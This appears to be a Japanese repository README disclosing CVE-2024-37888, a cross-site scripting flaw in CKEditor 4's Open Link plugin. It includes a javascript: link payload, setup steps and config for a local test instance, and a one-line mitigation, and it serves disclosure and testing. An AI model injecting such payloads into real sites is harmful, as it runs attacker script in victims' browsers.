
CKEditor 4 の Open Link プラグイン向け XSS PoC/Exploit
このリポジトリは、2024年5月21日にAnurag Mondal (7Ragnarok7) によって発見・報告されたCVE-2024-37888の脆弱性の詳細とエクスプロイトを文書化したものです。
この概念実証 (POC) は、私が最近発見したOpen LinkプラグインにおけるXSS脆弱性の悪用を実証するものです。このプラグインは有効化されると、CKEditor 4のすべてのバージョンに直接影響を及ぼします。この欠陥により、プラグインがサニタイズに失敗する細工されたリンクを通じて、エディタ内でJavaScriptを実行できるようになります。この欠陥は、Open Linkプラグインがインストールされている場合にのみ、テキストエリア内で悪用可能です。Open Linkプラグインを使用すると、編集エリア内で直接リンクを開くことができます。
この脆弱性は、こちらにある事前設定済みのCKEditorインスタンスからテストできます。
ペイロードの挿入:
CKEditorインスタンスを開き、「ソース」アイコンをクリックします。
テキストエリアに以下のペイロードを挿入します:
<a href="javascript:alert('XSS Found')">XSS</a>

WYSIWYGモードへの切り替え:

XSSのトリガー:

以下の手順に従うことで、この脆弱性をテストするための独自のローカルインスタンスをセットアップできます。
CKEditor 4のダウンロード:

Open Linkプラグインのインストール:
ckeditor/plugins/openlinkディレクトリに配置します。
OpenLinkプラグインを含めるように設定を更新:
config.jsファイルを変更し、末尾に以下の行を追加します:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
HTML に CKEditor を含める:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

この脆弱性は、CKEditor 4 のコードベースではなく、Open Link プラグインのコードベースで発見されました。上記の POC は、CKEditor 4.*.* の Open Link プラグインを介した XSS 脆弱性の悪用を示しています。この欠陥により、細工されたリンクを通じて任意の JavaScript を実行できるため、重大なセキュリティリスクをもたらします。
config.disallowedContent = 'a[onclick]';